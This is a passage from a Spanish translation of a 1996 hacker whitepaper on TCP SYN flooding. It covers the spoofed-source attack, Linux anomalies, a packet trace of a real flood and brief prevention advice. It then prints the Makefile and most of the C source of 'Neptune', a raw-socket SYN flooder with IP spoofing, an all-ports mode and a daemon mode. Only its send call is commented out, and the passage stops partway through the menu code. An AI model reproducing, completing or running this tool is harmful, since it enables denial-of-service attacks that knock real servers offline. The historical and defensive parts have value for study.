error). Si la trama no tiene el bit de SYN activado, se rechaza. Si la
trama contiene un SYN, continua el procesamiento.
Procesamiento de la direccion, etc:
El TCP entonces escribe la informacion de direccion del cliente en
un buffer y conecta su pcb{} al cliente, procesa las opciones del TCP e
inicializa su numero de secuencia de envio inicial(ISS).
ACK el SYN:
El TCP envia un SYN, ISS y un ACK al cliente. El timer de
establecimiento de conexion se pone a 75 segundos. El estado cambia a
SYN_RCVD. Ahora, TCP esta sometido al socket. Observaremos que
este es el estado en que estara el destino TCP cuando enviemos el
ataque porque la esperada respuesta del cliente nunca se recibe. El estado
permanece en SYN_RCVD hasta que el timer de establecimiento de conexion se
agota, en cuyo caso todas las estructuras de memoria asociadas con la
conexion son destruidas, y el socket retorna al estado de LISTEN.


Seccion IV. El Ataque

Una conexion TCP se inicia con un cliente enviando una peticion a
un servidor con el flag de SYN en la cabecera TCP. Normalmente el servidor
devolvera un SYN/ACK al cliente identificado por la direccion origen de
32 bits en la cabecera IP. Entonces el cliente enviara un ACK al servidor
(Como vimos en la figura 1) y ya puede comenzar la transferencia de datos.
Cuando la direccion IP del cliente se oculta tras una IP de un servidor
inalcanzable, de cualquier manera, el TCP objetivo no puede completar el
saludo de las tres fases y continuara intentandolo hasta que se agote el
tiempo. Esta es la base del ataque.
El host atacante envia unas cuantas (vimos que solo con 6 ya es
suficiente) peticiones SYN al puerto TCP destino (por ejemplo, el daemon de
telnet). El host atacante se debe asegurar que la direccion IP de origen es
falsificada (IP-spoofing) con otra direccion de un host inalcanzable (el TCP
destino estara enviando su respuesta a esta direccion). IP (a traves de
ICMP) informara al TCP que el host es inalcanzable, pero TCP considera estos
errores como transitorios y deja su resolucion al IP (re-enrutar los
paquetes, etc) ignorandolos de manera efectiva. La direccion IP debe ser
inalcanzable porque el atacante no quiere que *ningun* host reciba los
SYN/ACKs que le estaran llegando del TCP destino, la cual cosa provocaria un
RST por parte de dicho host (como vimos en la entrada en TCP). Esto haria
fracasar el ataque. El proceso es el siguiente:


fig(3)

1 Z(x) ---SYN---> A

Z(x) ---SYN---> A

Z(x) ---SYN---> A

Z(x) ---SYN---> A

Z(x) ---SYN---> A

Z(x) ---SYN---> A


2 X <---SYN/ACK--- A

X <---SYN/ACK--- A

...

3 X <---RST--- A


En (1) el host atacante envia una serie de peticiones SYN al destino para
llenar su cola de backlog con conexiones pendientes. (2) El destino responde
con SYN/ACKs hacia la direccion que cree que es el destino de los SYN de
entrada. Durante ese tiempo todas las peticiones a este puerto TCP seran
ignoradas. El puerto destino esta colapsado(floodeado).


--[ Anomalias en Linux ]--

Haciendo la investigacion para este proyecto, me di cuenta de un
error de implementacion muy extra¤o en el modulo TCP de Linux. Cuando un
servidor TCP en particular es floodeado en un host Linux, suceden
cosas extra¤as...Primero parece que el timer de establecimiento de conexion
se rompe. Las 10 peticiones de conexion falsificadas mantienen los sockets
en el estado de SYN_RCVD durante 20 minutos (23 minutos para ser exactos.
Me pregunto cual es el significado de esto...Hmmm...). Bastante mas que los
75 segundos que *deberia* estar. La siguiente anomalia es todavia mas
extra¤a...Despues de ese aparente periodo de tiempo arbitrario (tengo que
determinar que demonios pasa), el TCP mueve los sockets floodeados al
estado de CLOSED (cerrados), en el cual *permanecen* hasta que una peticion
de conexion llega a un puerto *diferente*. Si una peticion de conexion
llega al puerto floodeado (ahora en el estado de CERRADO), este no
respondera, actuando como si todavia estubiera floodeado. Despues de que
una peticion de conexion llegue a un puerto diferente, los sockets CERRADOS
son destruidos, y el puerto floodeado estara libre de nuevo para atender
peticiones. Parece como si la peticion de conexion estancara los sockets
CERRADOS llamando a listen()... Maldito sea el que me lo pregunte...

Lo que esto implica es importante. Yo he sido capaz de deshabilitar
por completo todos los servidores basados en TCP de responder las
peticiones indefinidamente. Si todos los servidores TCP son floodeados, no
hay ninguno que reciba las peticiones de conexion validas para aliviar el
estado de CERRADO de las conexiones floodeadas. Malas noticias en cualquier
caso.
[Nota: a 15/07/1996 esto sigue sin resolverse. He contactado con
Alan Cox y Eric Schenk y he planeado el trabajar con ellos en una solucion
a este problema. Ya expondre todos nuestros descubrimientos tan pronto
como sea posible. Creo que el problema viene encaminado por una posible
mentira (al menos en parte) en la funcion tcp_close_pending()....O quizas
existe un error logico en la manera que el TCP cambia entre el timer de
establecimiento de conexion y el timer de mantenerse-vivo. Ambos son
implementados usando la misma variable siendo mutuamente exclusivos...]



Seccion V. La traza de red

Lo que sigue es una traza de red de una sesion real de SYN flooding.
La maquina objetivo es Ash, una box Linux 1.2.13. El atacante es Onyx. La red
es una ethernet a 10Mbps.

Network Monitor trace Fri 07/12/96 10:23:34 Flood1.TXT

Frame Time Src MAC Addr Dst MAC Addr Protocol Description Src Other Addr Dst Other Addr Type Other Addr

1 2.519 onyx ash TCP/23 ....S., len: 4, seq:3580643269, ack:1380647758, win: 512, src 192.168.2.2 192.168.2.7 IP
2 2.520 ash onyx TCP/1510 .A..S., len: 4, seq: 659642873, ack:3580643270, win:14335, src 192.168.2.7 192.168.2.2 IP
3 2.520 onyx ash TCP/23 .A...., len: 0, seq:3580643270, ack: 659642874, win:14260, src 192.168.2.2 192.168.2.7 IP

Un cliente telnet se inicia en Onyx, y podemos observar el
estandar saludo de las tres fases entre los dos hosts para la
sesion de telnet.

Las filas 4-126 eran trafico interactivo de telnet y no aportaban nada a la
guia.

127 12.804 ash onyx TCP/1510 .A...F, len: 0, seq: 659643408, ack:3580643401, win:14335, src 192.168.2.7 192.168.2.2 IP
128 12.804 onyx ash TCP/23 .A...., len: 0, seq:3580643401, ack: 659643409, win:14322, src 192.168.2.2 192.168.2.7 IP
129 12.805 onyx ash TCP/23 .A...F, len: 0, seq:3580643401, ack: 659643409, win:14335, src 192.168.2.2 192.168.2.7 IP
130 12.805 ash onyx TCP/1510 .A...., len: 0, seq: 659643409, ack:3580643402, win:14334, src 192.168.2.7 192.168.2.2 IP

Aqui vemos el proceso de fin de conexion de 4 fases.

En este punto, se inicia el programa de flood en Onyx, se llena la
informacion, y se lanza el ataque.

131 42.251 onyx *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.7

Onyx esta intentando obtener la direccion ethernet de ash
mediante ARP.

132 42.251 ash onyx ARP_RARP ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7

Ash responde con su direccion ethernet.

133 42.252 onyx ash TCP/23 ....S., len: 0, seq:3364942082, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP

Empieza el flood. Onyx envia el primero de las 10 tramas TCP con el
bit de SYN activado, y la direccion IP falsificada al daemon telnet.

134 42.252 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10

Ash inmediatamente intenta resolver la direccion ethernet. Asi,
como no hay ningun host en la red (y ningun router para procesar
la peticion) la peticion ARP no sera respuesta. El host es, en
efecto, inalcanzable.

135 42.271 onyx ash TCP/23 ....S., len: 0, seq:3381719298, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
136 42.291 onyx ash TCP/23 ....S., len: 0, seq:3398496514, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
137 42.311 onyx ash TCP/23 ....S., len: 0, seq:3415273730, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
138 42.331 onyx ash TCP/23 ....S., len: 0, seq:3432050946, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
139 42.351 onyx ash TCP/23 ....S., len: 0, seq:3448828162, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
140 42.371 onyx ash TCP/23 ....S., len: 0, seq:3465605378, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
141 42.391 onyx ash TCP/23 ....S., len: 0, seq:3482382594, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
142 42.411 onyx ash TCP/23 ....S., len: 0, seq:3499159810, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
143 42.431 onyx ash TCP/23 ....S., len: 0, seq:3515937026, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP

Los siguientes 9 de 10 SYNs. El daemon telnet en ash esta ahora
floodeado. En este punto, se inicia otro cliente telnet en Onyx.

144 47.227 onyx *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.7

Onyx esta de nuevo intentando obtener la direccion ethernet
utilizando ARP. Hmmm, esta entrada deberia estar en la cache arp.
Ya lo investigare.

145 47.228 ash onyx ARP_RARP ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7

Aqui esta la respuesta de ARP.

146 47.228 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win: 512, src 192.168.2.2 192.168.2.7 IP
147 50.230 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
148 56.239 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP

Onyx esta intentando establecer una conexion con el daemon telnet
en Ash, el cual esta, como vimos, floodeado.

149 67.251 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10

Ash continua intentando obtener la direccion ethernet del host
falsificado. En vano...

150 68.247 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
151 92.254 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP


Onyx esta todavia transmitiendo sus peticiones de establecimiento
de conexion...Tambien en vano.

152 92.258 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10

Hola? Estas por ahi?




Seccion VI. Neptune.c

Neptune.c es el codigo adjunto. Realiza todo lo que hemos hablado, y
mas. Neptune.c es bastante mas complejo de lo necesario. He incluido algunas
caracteristicas que no son esenciales, pero que hacen que el programa sea
mas robusto. Las caracteristicas del programa: un sistema de menus facil de
usar, una interface de linea de comandos alternativa para una facil
integracion con scripts, peticiones ICMP_ECHO para preguntar si los
inalcanzables son, de hecho, inalcanzables (ping AKA), modo infinity (leer
el codigo) y un modo daemon con (pseudo) eleccion de direcciones IP
aleatorias inalcanzables.

El menu es realmente explicito...

1 Enter target host

Introduce el host objetivo. Si estas indeciso, matate tu mismo.

2 Enter source (unreachable) host

Introduce el supuesto emisor. Este host ha de ser rutable pero no alcanzable.
Recuerda que la direccion ha de ser unicast. Si es una direccion broadcast o
multicast sera rechazada por el TCP destino.

3 Send ICMP_ECHO(s) to unreachable

Asegurate que el supuesto emisor es de hecho inalcanzable. Esto no es 100%
fiable pues A) Los paquetes ICMP pueden ser rechazados por la no-fiable
capa de red, B) el host podria filtrar los paquetes ICMP_ECHO.

4 Enter port number to flood

El puerto destino a floodear. Hay infinidad de opciones.

5 Enter number of SYNs

El numero de SYNs a enviar. Recuerda, este ataque no necesita mucho ancho
de banda, enviar mas paquetes de lo necesario es totalmente inutil.

6 Quit

Adiooos.

7 Launch

Dispara cuando estes listo.


8 Daemonize (puede o no estar implementado en tu version)

Pone el programa en modo daemon. Se pone en background y realiza sus
diabluras alli. Necesita dos opciones mas: intervalo de envio de paquetes,
y tiempo de vida del daemon. El intervalo de envio de paquetes recomendado
es, por lo menos, 90 segundos, dependiendo del TCP destino. con 80 deberia
funcionar bien, ya que el timer de establecimiento de conexion es de 75
segundos. El tiempo de vida del daemon queda a tu eleccion. Se bueno.
La parte del daemon tambien incluye rutinas para hacer uso
opcional de un fichero de direcciones IP inalcanzables y escogerlas
(pseudo) aleatoriamente. El programa lee el fichero y construye un array
dinamico de estas direcciones IP en el orden de byte de red y entonces
utiliza rand (con la semilla de la hora del dia en segundos---no
necesitamos mucha entropia aqui, esto no es criptografia---) para generar
un numero y entonces lo modifica con el numero de entradas en la tabla de
hash en una direccion IP concreta.

Como el programa abre sockets 'raw', necesita ser ejecutado como root.
Por defecto, se instala SUID root en /usr/local/bin/neptune con la lista de
acceso en /etc/sfaccess.conf. El mecanismo de identificacion trabaja
comprobando los nombres de usuario (via UID) de los que intentan floodear. No
es un complejo algoritmo, y de hecho el codigo es bastante simple (si alguien
encuentra cualquier error de seguridad con el programa siendo SUID root,--cabe
notar el hecho que el programa es admitidamente diabolico--me encantaria
escucharles). Root es la unica entrada que acepta el fichero de acceso.
Para que funcione el programa, necesitas borrar las marcas de
comentarios de la linea 318 (la llamada a sendto() donde se envian los
datagramas). Hice esto para que los idiotas simplemente interesados
en causar problemas (y que no esten interesados en aprender) encontraran el
programa totalmente inutil.



Seccion VII. Discusion y prevencion

Como hemos visto, el ataque funciona porque el TCP intenta hacer su
trabajo de proveer un transporte fiable. El TCP debe establecer una conexion
primero, y aqui es donde se encuentra la debilidad. (T/TCP es inmune a este
ataque via TAO. Lee mi proximo documento: `La Proxima Generacion Internet`
para informacion del T/TCP y IPng.). Bajo circunstancias normales, asumiendo
el buen comportamiento del software de red, lo peor que puede pasar es que
un servidor basado en TCP pueda ser 'wrapped-up' en el legitimo proceso de
establecimiento de conexion y unos pocos clientes deban retransmitir sus
SYNs. Pero un programa cliente 'misbegotten' puede explotar esta debilidad de
establecimiento de conexion y parar un servidor basado en TCP con solo unas
tramas manipuladas.
Es importante remarcar el hecho de que el SYNflood requiere una
minima cantidad de trafico de red para ser tan efectivo. Considera otros
ataques de red del tipo DOS como los floods ICMP_ECHO (ping floods), mail
bombs, subscripciones masivas a listas de correo, etc... Para ser efectivos,
todos estos ataques necesitan que un atacante transmita cantidades
voluminosas de trafico de red. No solo provoca que estos ataques sean mas
detectados en ambos extremos decrementando la cantidad de ancho de banda
disponible (como tal, a menudo estos ataques son 'waged' de maquinas
comprometedoras) sino que tambien se a¤ade a los problemas generales de
trafico en Internet. El flood SYN puede ser mortalmente efectivo con solo
360 paquetes/hora.



--[ Prevencion ]--

Vale, y como lo paramos? Buena pregunta.



--[ TCPd ]--

Los TCP 'wrappers' son casi inutiles. La magia que hacen se basa en
la validacion de la direccion IP origen de los datagramas de entrada. Como
sabemos, esto puede ser falsificado con aquello que desee el atacante. Al
menos que el objetivo haya negado el trafico a *todo el mundo* excepto hosts
conocidos, los TCP 'wrappers' no te salvaran.



--[ Incrementa el Backlog ]--

Incrementar el backlog por defecto no es una buena solucion. En
comparacion con la dificultad de un atacante que simplemente envia mas
paquetes, los requerimientos de memoria de las estructuras adicionales de
establecimiento de conexion es prohibitivamente caro. Como mucho es una
medida ofuscante.


--[ Filtrado de Paquetes ]--

Un peque¤o filtro de paquetes (o modificacion del kernel) de
cualquier tipo podria ser una solucion viable. Brevemente:

- El host mantiene un log reciente de paquetes de entrada con el bit de
SYN activado en una estructura de lista enlazada.
- La lista enlazada no se permite que crezca sin comprobarla (se
presentaria otro ataque DOS).
- Cuando se reciben una cantidad x de SYN en un socket, se comparan
ciertas caracteristicas sobre los paquetes, (puerto origen, direccion IP
origen, numeros de secuencia, tama¤o de ventana, etc) y si la cosa
parece sospechosa, las peticiones de conexion y las estructuras de
memoria asociadas son destruidas inmediatamente.

Seccion VIII. Referencias



Ppl: A. Cox, R. Stevens
Libros: TCP Illustrated vols II,III



This project made possible by a grant from the Guild Corporation.

EOF


------------------------8<--------------------------------------------


# Neptune Makefile
# daemon9, 1996 Guild Productions

all:
@gcc -o neptune neptune.c
@echo ""
@echo "
'make install' will install the program..."
@echo ""
@echo "
Warning! Neptune is installed SUID root by default!"
@echo ""
@echo "
route@infonexus.com / Guild Corporation"
install:
strip ./neptune
mv ./neptune /usr/local/bin/neptune
chmod 4755 /usr/local/bin/neptune
@echo "
root" > /etc/sfaccess.conf
@echo "
Installation complete, access list is /etc/sfaccess.conf"
clean:
@rm -f *.o neptune /etc/sfaccess.conf


------------------------8<--------------------------------------------


/*
Neptune
v. 1.5

daemon9/route/infinity

June 1996 Guild productions

comments to daemon9@netcom.com

If you found this code alone, without the companion whitepaper
please get the real-deal:
ftp.infonexus.com/pub/SourceAndShell/Guild/Route/Projects/Neptune/neptune.tgz

Brief synopsis:
Floods the target host with TCP segments with the SYN bit on,
puportedly from an unreachable host. The return address in the
IP header is forged to be that of a known unreachable host. The
attacked TCP, if flooded sufficently, will be unable to respond
to futher connects. See the accompanying whitepaper for a full
treatment of the topic. (Also see my paper on IP-spoofing for
information on a related subject.)

Usage:
Figure it out, kid. Menu is default action. Command line usage is
available for easy integration into shell scripts. If you can't
figure out an unreachable host, the program will not work.

Gripes:
It would appear that flooding a host on every port (with the
infinity switch) has it's drawbacks. So many packets are trying to
make their way to the target host, it seems as though many are
dropped, especially on ethernets. Across the Internet, though, the
problem appears mostly mitigated. The call to usleep appears to fix
this... Coming up is a port scanning option that will find open
ports...

Version History:
6/17/96 beta1: SYN flooding, Cmd line and crude menu, ICMP stuff broken
6/20/96 beta2: Better menu, improved SYN flooding, ICMP fixed... sorta
6/21/96 beta3: Better menu still, fixed SYN flood clogging problem
Fixed some name-lookup problems
6/22/96 beta4: Some loop optimization, ICMP socket stuff changed, ICMP
code fixed
6/23/96 1.0: First real version...
6/25/96 1.1: Cleaned up some stuff, added authentication hooks, fixed up
input routine stuff
7/01/96 1.5: Added daemonizing routine...

This coding project made possible by a grant from the Guild corporation

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <pwd.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <time.h>
#include <linux/signal.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>

#define BUFLEN 256
#define MENUBUF 64
#define MAXPORT 1024
#define MAXPAK 4096
#define MENUSLEEP 700000
#define FLOODSLEEP 100 /* Ethernet, or WAN? Yur mileage will vary.*/
#define ICMPSLEEP 100
#define ACCESSLIST

  
"/etc/sfaccess.conf"

int HANDLERCODE=1;
int KEEPQUIET=0;
char werd[]={"\nThis code made possible by a grant from the Guild Corporation\n\0"};

void main(argc,argv)
int argc;
char *argv[];
{

void usage(char *);
void menu(int,char *);
void flood(int,unsigned,unsigned,u_short,int);
unsigned nameResolve(char *);
int authenticate(int,char *);

unsigned unreachable,target;
int c,port,amount,sock1,fd;
struct passwd *passEnt;
char t[20],u[20];

if((fd=open(ACCESSLIST,O_RDONLY))<=0){
perror("Cannot open accesslist");
exit(1);
}
setpwent();
passEnt=getpwuid(getuid());
endpwent();
/* Authenticate */
if(!authenticate(fd,passEnt->pw_name)){
fprintf(stderr,"Access Denied, kid\n");
exit(0);
}
/* Open up a RAW socket */

if((sock1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
perror("\nHmmm.... socket problems\n");
exit(1);
}
if(argc==1){
menu(sock1,passEnt->pw_name);
exit(0);
}
/* Parse command-line arguments */
while((c=getopt(argc,argv,"8:s:t:p:a"))){
switch(c){
case 's': /* Source (spoofed) host */
unreachable=nameResolve(optarg);
strcpy(u,optarg);
break;
case 't': /* Target host */
target=nameResolve(optarg);
strcpy(t,optarg);
break;
case 'p': /* Target port */
port=atoi(optarg);
break;
case '8': /* infinity switch */
port=0;
break;
case 'a': /* Amount of SYNs to send */
amount=atoi(optarg);
break;
default: /* WTF? */
usage(argv[0]);
}
}

if(!port){
printf("\n\nFlooding target: \t\t%u\nOn ports\t\t\t1-%d\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,MAXPORT,amount,unreachable);
flood(sock1,unreachable,target,0,amount);
}
else{
printf("\n\nFlooding target: \t\t%u\nOn port: \t\t\t%u\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,port,amount,unreachable);
flood(sock1,unreachable,target,port,amount);
}
syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),passEnt->pw_name,t,u,port,amount);
printf(werd);
exit(0);
} /* End main */

/*
* Authenticate. Makes sure user is authorized to run program.
*
*/

int authenticate(fd,nameID)
int fd;
char *nameID;
{

char buf[BUFLEN+1];
char workBuffer[10];
int i=0,j=0;

while(read(fd,buf,sizeof(buf))){
if(!(strstr(buf,nameID))){
close(fd);
syslog(LOG_LOCAL6|LOG_INFO,"Failed authentication for %s\n",nameID);
return(0);
}
else {
close(fd);
syslog(LOG_LOCAL6|LOG_INFO,"Successful start by %s, PID: %d\n",nameID,getpid());
return(1);
}
}
}


/*
* Flood. This is main workhorse of the program. IP and TCP header
* construction occurs here, as does flooding.
*/

void flood(int sock,unsigned sadd,unsigned dadd,u_short dport,int amount){

unsigned short in_cksum(unsigned short *,int);

struct packet{
struct iphdr ip;
struct tcphdr tcp;
}packet;

struct pseudo_header{ /* For TCP header checksum */
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pseudo_header;

struct sockaddr_in sin; /* IP address information */
register int i=0,j=0; /* Counters */
int tsunami=0; /* flag */
unsigned short sport=161+getpid();

if(!dport){
tsunami++; /* GOD save them... */
fprintf(stderr,"\nTSUNAMI!\n");
fprintf(stderr,"\nflooding port:");
}

/* Setup the sin struct with addressing information */

sin.sin_family=AF_INET; /* Internet address family */
sin.sin_port=sport; /* Source port */
sin.sin_addr.s_addr=dadd; /* Dest. address */

/* Packet assembly begins here */

/* Fill in all the TCP header information */

packet.tcp.source=sport; /* 16-bit Source port number */
packet.tcp.dest=htons(dport); /* 16-bit Destination port */
packet.tcp.seq=49358353+getpid(); /* 32-bit Sequence Number */
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
packet.tcp.doff=5; /* Data offset */
packet.tcp.res1=0; /* reserved */
packet.tcp.res2=0; /* reserved */
packet.tcp.urg=0; /* Urgent offset valid flag */
packet.tcp.ack=0; /* Acknowledgement field valid flag */
packet.tcp.psh=0; /* Push flag */
packet.tcp.rst=0; /* Reset flag */
packet.tcp.syn=1; /* Synchronize sequence numbers flag */
packet.tcp.fin=0; /* Finish sending flag */
packet.tcp.window=htons(242); /* 16-bit Window size */
packet.tcp.check=0; /* 16-bit checksum (to be filled in below) */
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */

/* Fill in all the IP header information */

packet.ip.version=4; /* 4-bit Version */
packet.ip.ihl=5; /* 4-bit Header Length */
packet.ip.tos=0; /* 8-bit Type of service */
packet.ip.tot_len=htons(40); /* 16-bit Total length */
packet.ip.id=getpid(); /* 16-bit ID field */
packet.ip.frag_off=0; /* 13-bit Fragment offset */
packet.ip.ttl=255; /* 8-bit Time To Live */
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
packet.ip.saddr=sadd; /* 32-bit Source Address */
packet.ip.daddr=dadd; /* 32-bit Destination Address */

/* Psuedo-headers needed for TCP hdr checksum (they
do not change and do not need to be in the loop) */


pseudo_header.source_address=packet.ip.saddr;
pseudo_header.dest_address=packet.ip.daddr;
pseudo_header.placeholder=0;
pseudo_header.protocol=IPPROTO_TCP;
pseudo_header.tcp_length=htons(20);

while(1){ /* Main loop */
if(tsunami){
if(j==MAXPORT){
tsunami=0;
break;
}
packet.tcp.dest=htons(++j);
fprintf(stderr,"%d",j);
fprintf(stderr,"%c",0x08);
if(j>=10)fprintf(stderr,"%c",0x08);
if(j>=100)fprintf(stderr,"%c",0x08);
if(j>=1000)fprintf(stderr,"%c",0x08);
if(j>=10000)fprintf(stderr,"%c",0x08);

}
for(i=0;i<amount;i++){ /* Flood loop */

/* Certian header fields should change */

packet.tcp.source++; /* Source port inc */
packet.tcp.seq++; /* Sequence Number inc */
packet.tcp.check=0; /* Checksum will need to change */
packet.ip.id++; /* ID number */
packet.ip.check=0; /* Checksum will need to change */

/* IP header checksum */

packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);

/* Setup TCP headers for checksum */

bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);

/* TCP header checksum */

packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);

/* As it turns out, if we blast packets too fast, many
get dropped, as the receiving kernel can't cope (at
least on an ethernet). This value could be tweaked
prolly, but that's up to you for now... */


usleep(FLOODSLEEP);

/* This is where we sit back and watch it all come together */

/*sendto(sock,&packet,40,0,(struct sockaddr *)&sin,sizeof(sin));*/
if(!tsunami&&!KEEPQUIET)fprintf(stderr,".");
}
if(!tsunami)break;
}
}


/*
* IP Family checksum routine (from UNP)
*/

unsigned short in_cksum(unsigned short *ptr,int nbytes){

register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */

/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/


sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}

/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}

/*
* Add back carry outs from top 16 bits to low 16 bits.
*/


sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}


/*
* Converts IP addresses
*/

unsigned nameResolve(char *hostname){

struct in_addr addr;
struct hostent *hostEnt;

if((addr.s_addr=inet_addr(hostname))==-1){
if(!(hostEnt=gethostbyname(hostname))){
fprintf(stderr,"Name lookup failure: `%s`\n",hostname);
exit(0);
}
bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
}
return addr.s_addr;
}


/*
* Menu function. Nothing suprising here. Except that one thing.
*/

void menu(sock1,nameID)
int sock1;
char *nameID;
{
int slickPing(int,int,char *);
void flood(int,unsigned,unsigned,u_short,int);
unsigned nameResolve(char *);
void demon(int,char *,char *,int,int,int,int);

int i,sock2,menuLoop=1,icmpAmt,port,amount,interval,ttl;
char optflags[7]={0}; /* So we can keep track of the options */
static char tmp[MENUBUF+1]={0},target[MENUBUF+1]={0},unreach[MENUBUF+1]={0};

while(menuLoop){
printf("\n\n\t\t\t[ SYNflood Menu ]\n\t\t\t [ daemon9 ]\n\n");
if(!optflags[0])printf("1\t\tEnter target host\n");
else printf("[1]\t\tTarget:\t\t\t%s\n",target);
if(!optflags[1])printf("2\t\tEnter source (unreachable) host\n");
else printf("[2]\t\tUnreachable:\t\t%s\n",unreach);
if(!optflags[2])printf("3\t\tSend ICMP_ECHO(s) to unreachable\n");
else printf("[3]\t\tUnreachable host:\tverified unreachable\n");
if(!optflags[3])printf("4\t\tEnter port number to flood\n");
else if(port)printf("[4]\t\tFlooding:\t\t%d\n",port);
else printf("[4]\t\tFlooding:\t\t1-1024\n");
if(!optflags[4])printf("5\t\tEnter number of SYNs\n");
else printf("[5]\t\tNumber SYNs:\t\t%d\n",amount);
printf("\n6\t\tQuit\n");
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("7\t\tLaunch Attack\n");
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("8\t\tDaemonize\n");
printf("\n\n\n\n\n\n\n\n\n\n\n\n");
fgets(tmp,BUFLEN/2,stdin); /* tempered input */
switch(atoi(tmp)){
case 1:
printf("[hostname]-> ");
fgets(target,MENUBUF,stdin);
i=0;
if(target[0]=='\n')break;
while(target[i]!='\n')i++;
target[i]=0;
optflags[0]=1;
break;
case 2:
printf("[hostname]-> ");
fgets(unreach,MENUBUF,stdin);
i=0;
if(unreach[0]=='\n')break;
while(unreach[i]!='\n')i++;
unreach[i]=0;
optflags[1]=1;
break;
case 3:
if(!optflags[1]){
fprintf(stderr,"Um, enter a host first\n");
usleep(MENUSLEEP);
break;
}
/* Raw ICMP socket */
if((sock2=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0){
perror("\nHmmm.... socket problems\n");
exit(1);
}
printf("[number of ICMP_ECHO's]-> ");
fgets(tmp,MENUBUF,stdin);
if(!(icmpAmt=atoi(tmp)))break;
if(slickPing(icmpAmt,sock2,unreach)){
fprintf(stderr,"Host is reachable... Pick a new one\n");
sleep(1);
optflags[1]=0;
optflags[2]=0;
HANDLERCODE=1;
close(sock2);
break;
}
optflags[2]=1;
close(sock2);
break;
case 4:
printf("[port number]-> ");
fgets(tmp,MENUBUF,stdin);
port=atoi(tmp);
optflags[3]=1;
break;
case 5:
printf("[number of SYNs]-> ");
fgets(tmp,MENUBUF,stdin);
if(!(amount=atoi(tmp)))break;
optflags[4]=1;
break;
case 6:
menuLoop--;
break;
case 7:
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),nameID,target,unreach,port,amount);
flood(sock1,nameResolve(unreach),nameResolve(target),port,amount);
menuLoop--;
}
else{
fprintf(stderr,"Illegal option --try again\n");
usleep(MENUSLEEP);
}
break;
case 8:
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
if(!port){
fprintf(stderr,"Cannot set infinity flag in daemon mode. Sorry.\n");
usleep(MENUSLEEP*2);
break;
}
printf("[packet sending interval in seconds {80}]-> ");
fgets(tmp,MENUBUF,stdin);
if(!(interval=atoi(tmp)))interval=80;
printf("[time for daemon to live in whole hours(0=forever)]-> ");
fgets(tmp,MENUBUF,stdin);
ttl=atoi(tmp);
syslog(LOG_LOCAL6|LOG_INFO,"DFLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d Interval: %d TTL: %d\n",getpid(),nameID,target,unreach,port,amount,interval,ttl);
demon(sock1,unreach,target,port,amount,interval,ttl);
exit(0);
}
else{
fprintf(stderr,"Illegal option --try again\n");
usleep(MENUSLEEP);
}
break;

default:
